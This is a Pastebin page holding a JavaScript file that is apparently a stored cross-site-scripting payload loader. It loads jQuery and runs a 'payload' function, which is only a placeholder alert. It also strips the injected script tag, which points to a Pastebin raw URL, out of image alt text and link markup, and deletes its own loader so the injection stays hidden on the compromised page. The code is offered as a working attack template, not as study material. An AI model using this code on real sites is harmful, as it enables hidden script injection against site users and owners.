Don't like ads? PRO users don't see any ads ;-)
Guest

key

By: WRabbit on Jul 10th, 2012  |  syntax: JavaScript  |  size: 1.68 KB  |  hits: 43  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. /** Global Variables **/
  2. var jQueryPath = "http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js";
  3. var jQIncluded = false;
  4. /** Fix Source **/
  5. function fix_html() {
  6.   $("img").each(function(i) {
  7.   var img = $("img")[i]
  8.   if (img.alt && img.alt.indexOf("<!--") != -1)
  9.      img.alt = img.alt.substr(0,img.alt.indexOf("<!--"));
  10.   });
  11.  
  12.   $("a").each (function(i) {
  13.     var a = $("a")[i];
  14.     if (a.innerHTML.indexOf('<!--"><script type="text/javascript" src="http://pastebin.com/raw.php?i=1Q4QPQaq"></script x="-->') != -1)
  15.       a.innerHTML = a.firstChild.data;
  16.   });
  17.   /** Remove loader for this script and jQuery **/
  18.     var ary = $("script");
  19.     var c = 0;
  20.     while(c < ary.length) {
  21.       var scr = ary[c];
  22.       if (scr.src == "http://pastebin.com/raw.php?i=1Q4QPQaq" || (jQIncluded && scr.src == jQueryPath)) {
  23.         scr.parentNode.removeChild(scr);
  24.         ary = $("script");
  25.       } else
  26.         ++c;
  27.     }
  28. }
  29.  
  30. /** Operational Code **/
  31. function payload() {
  32.   alert("Code is running!");
  33. }
  34.  
  35. function run_code() {
  36.   $(document).ready(fix_html);
  37.   payload();
  38. }
  39.  
  40. /** Load jQuery **/
  41. if (typeof installed == "undefined") {
  42.   installed = true;
  43.   if (typeof jQuery == "undefined") {
  44.     var theNewScript = document.createElement("script");
  45.     theNewScript.type = "text/javascript";
  46.     theNewScript.src = jQueryPath;
  47.     document.getElementsByTagName("head")[0].appendChild(theNewScript);
  48.     var waitForLoad = function () {
  49.       if (typeof jQuery != "undefined") {
  50.         jQIncluded = true;
  51.         run_code();
  52.       } else {
  53.         window.setTimeout(waitForLoad, 100);
  54.       }
  55.     };
  56.     window.setTimeout(waitForLoad, 100);
  57.   } else {
  58.     run_code();
  59.   }
  60. }